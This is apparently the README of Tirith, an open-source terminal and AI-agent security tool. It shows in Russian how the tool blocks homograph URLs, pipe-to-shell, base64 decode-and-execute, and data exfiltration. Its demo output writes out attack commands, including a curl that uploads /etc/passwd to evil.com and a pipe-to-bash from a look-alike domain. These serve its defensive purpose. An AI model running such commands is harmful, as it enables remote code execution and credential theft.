
Терминальная безопасность для разработчиков и агентов ИИ. Перехватывает гомографные URL, конвейер к оболочке, ANSI-инъекции, обфусцированные полезные нагрузки, утечку данных и вредоносные навыки/конфигурации ИИ до их выполнения.
Ваш браузер это поймал бы. Ваш терминал — нет.
Website | Docs | SKILL.md | Changelog | Releases
Независимый проект с открытым исходным кодом, хостинг поддерживается Vercel Open Source Program (Spring 2026 Cohort).
Сможете заметить разницу?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Вы не можете. Ваш терминал тоже. Оба символа `і` — кириллические (U+0456), а не латинская `i`. Второй URL ведёт на сервер атакующего. Скрипт выполняется прежде, чем вы это заметите.
Браузеры решили эту проблему годы назад. Терминалы по-прежнему отображают Unicode, ANSI-escape-последовательности и невидимые символы без вопросов. AI-агенты выполняют shell-команды и устанавливают пакеты, не проверяя, что внутри.
**Tirith стоит на страже.** Он перехватывает команды, вставленное содержимое и сканируемые файлы на предмет гомографических URL, обфусцированных полезных нагрузок, кражи учётных данных, вредоносных AI-навыков/конфигураций и известных опасных пакетов/доменов/IP-адресов из подписанной базы данных угроз перед их выполнением.```bash
brew install tirith
Затем активируйте в профиле вашей оболочки:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` автоматически определяет вашу текущую оболочку (он проверяет родительский процесс и при необходимости возвращается к `$SHELL`). Явный флаг `--shell` требуется только тогда, когда вы хотите переопределить определение.
На этом покрытие интерактивной оболочки завершено. Команды, принимаемые этой оболочкой,
проверяются, пока хук загружен и работоспособен; точное поведение блокировки зависит
от оболочки и режима. Запустите `tirith doctor` после установки и обновлений, и
прочитайте [enforcement by shell](#enforcement-by-shell), прежде чем рассматривать хук как
границу авторизации. Чистые команды остаются безмолвными и обычно идут по
быстрому пути.
Также доступно через [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) и [другое](#install).
---
## Посмотрите, как это работает
**Гомографическая атака, заблокированная до выполнения:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Команда никогда не выполняется.
Pipe-to-shell с чистым URL, предупреждение, не заблокировано:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Предупреждение выводится в stderr. Команда всё равно выполняется.
**Цепочка декодирования и выполнения Base64, заблокирована:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Перехватывает цепочки декодирования через обёртки sudo/env и PowerShell -EncodedCommand.
Эксфильтрация учётных данных, заблокировано:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Охватывает все флаги загрузки curl/wget, переменные окружения (`$AWS_SECRET_ACCESS_KEY`) и подстановку команд.
**Вредоносный файл навыка, обнаруженный при сканировании:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Сканирует файлы JS/Python на наличие обфусцированных полезных нагрузок, динамического выполнения кода и шаблонов эксфильтрации секретов.
Обычные команды, невидимые:``` $ git status $ ls -la $ docker compose up -d
Ничего. Нулевой вывод. Ты забываешь, что tirith запущен.
---
## Что он обнаруживает
**244 правила обнаружения в 35 категориях.**